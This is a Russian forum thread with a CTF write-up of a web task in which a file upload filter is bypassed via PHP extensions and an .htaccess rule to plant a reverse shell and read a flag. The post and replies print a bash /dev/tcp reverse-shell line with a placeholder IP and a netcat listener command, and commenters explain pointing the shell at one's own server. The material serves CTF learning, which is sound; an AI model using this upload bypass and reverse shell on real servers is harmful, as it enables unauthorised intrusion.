ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Antichat - Файлообменник [Writeup] (https://forum.antichat.xyz/showthread.php?t=1642820)

stensil4rt 26.12.2023 11:30

Рассмотрим таск под названием - Файлообменник из категории Веб.
Ссылка на задание: Игры Кодебай | CTF-платформа
Данный таск интересен тем, что он как бы и легкий, а как бы и нет. В нем необходимо, просто внимательно смотреть =)

https://forum.antichat.xyz/attachmen...3575462212.png

И так приступим:
Начнем с того, что сначала мы смотрим что дано в самом задании, кроме IP и порта, иногда там могут быть хинты. В данном таске есть файл — task.zip, качаем его — он нам еще пригодиться, не просто же он нам дан.

https://forum.antichat.xyz/attachmen...3575477488.png

Заходим на IP:порт и первое что мы замечаем, есть возможность загрузить файл. Сразу приходим на ум, что есть уязвимость вида: File Upload. Забегая веред, она там есть.

https://forum.antichat.xyz/attachmen...3575546010.png

Пытаемся ее воспользоваться. Открываем в BurpSuite, и грузим файл вида file.php с содержимым:

PHP:


Код:

& /dev/tcp/IP/1234 0>&1'"); ?>
Что мы видим, файлы с расширением php грузить нельзя.

https://forum.antichat.xyz/attachmen...3575603488.png

Значит надо изменить расширение файла, воспользовавшись Google, найдем на популярном сайте book.hacktricks.xyz (File Upload) расширения PHP.

https://forum.antichat.xyz/attachmen...3575682483.png

Воспользуемся расширением *.phtm

https://forum.antichat.xyz/attachmen...3575694736.png

Файл загрузился. Открываем данный файл в браузере, и видим, что данный файл не исполняется, значит данная директория заблокирована на исполнение файлов.

https://forum.antichat.xyz/attachmen...3575725526.png

Первое, что приходит в голову, файл .htaccess. Вот тут нам и понадобиться тот файл (task.zip). Находим файл .htaccess и анализируем. Видим 20 строчку, где сказано, что нам разрешено загрузку файлов с расширением .x-httpd-php.

https://forum.antichat.xyz/attachmen...3575753031.png

Воспользуемся этим.

https://forum.antichat.xyz/attachmen...3575770461.png

Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл.

https://forum.antichat.xyz/attachmen...3575805997.png

https://forum.antichat.xyz/attachmen...3575812534.png

Попадаем на сервак и ищем файл fl4g.txt, где и лежит наш флаг.

https://forum.antichat.xyz/attachmen...3575833550.png

Надеюсь статья была полезна для Вас! Если найдете неточности или ошибки - обязательно напишите об этом в комментариях к статье.

Местный 26.12.2023 12:31

Хороший райтап. Давай больше на тему веб!

Gustavo Fring 26.12.2023 16:54

Цитата:


stensil4rt сказал(а):

Видим 20 строчку, где сказано, что нам разрешено загрузку файлов с расширением .x-httpd-php.


Данное правило сообщает серверу немного другое: что все файлы с расширением .x-httpd-php должны быть обработаны как PHP-скрипты.

stensil4rt 26.12.2023 17:43

Цитата:


N1GGA сказал(а):

Данное правило сообщает серверу немного другое: что все файлы с расширением .x-httpd-php должны быть обработаны как PHP-скрипты.


Спасибо за замечание.

morozko 03.01.2024 10:31

Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.

vov4ick 03.01.2024 12:56

Цитата:


morozko сказал(а):

Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.


Вам нужно поднять свой сервер или настроить туннель, чтобы поймать соединение. вписывая в скрипт ip и port своего сервера. В данной статье это не описывается.

stensil4rt 03.01.2024 13:51

Цитата:


morozko сказал(а):

Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.


Да, как это уже сказал vov4ick, в данной статье не описывается настройка своего сервера, который бы принял соединение от веб-сервера. Попробуйте найти в Интернете, что такое ngrok, думаю Вам это поможет.

morozko 03.01.2024 14:00

Цитата:


stensil4rt сказал(а):

Да, как это уже сказал vov4ick, в данной статье не описывается настройка своего сервера, который бы принял соединение от веб-сервера. Попробуйте найти в Интернете, что такое ngrok, думаю Вам это поможет.


Если найдете свободное время, будьте добры объясните подробней про свой сервер и в какую часть скрипта вписывать ip port. У меня имеется VDS я через него VPN поднял, также использовал его в задании из категории Quest которое рассматривается в Обучении CTF. Я путаюсь - слишком много серверов XD. ProxyFoxy это же тоже прокси сервер который мы используем в Burp для перехвата, python3 -m http.server 9898 (тоже сервер) ну и мой VDS тоже сервер.
Про скрипт & /dev/tcp/IP/port 0>&1'"); ?> ---> & /dev/tcp/0.0.0.0:9898 0>&1'"); ?> верно ли я понял?

Paladin 03.01.2024 17:03

Цитата:


morozko сказал(а):

Про скрипт & /dev/tcp/IP/port 0>&1'"); ?> ---> & /dev/tcp/0.0.0.0:9898 0>&1'"); ?> верно ли я понял?


& /dev/tcp/IP/PORT0>&1'"); ?>

Paladin 03.01.2024 17:06

Цитата:


morozko сказал(а):

Если найдете свободное время, будьте добры объясните подробней про свой сервер и в какую часть скрипта вписывать ip port. У меня имеется VDS я через него VPN поднял, также использовал его в задании из категории Quest которое рассматривается в Обучении CTF. Я путаюсь - слишком много серверов XD. ProxyFoxy это же тоже прокси сервер который мы используем в Burp для перехвата, python3 -m http.server 9898 (тоже сервер) ну и мой VDS тоже сервер.


Способы получения обратного соединения (Reverse shell)

Доброго времени суток, уважаемые форумчане! Очередная статья будет посвящена еще одному проблемному вопросу, с которым часто приходится сталкиваться студентам курса WAPT при решении задач – это получение обратного шелла. Нет, в принципе вопрос не сложный и многие наверняка сталкивались с таким...

codeby.net


Время: 17:24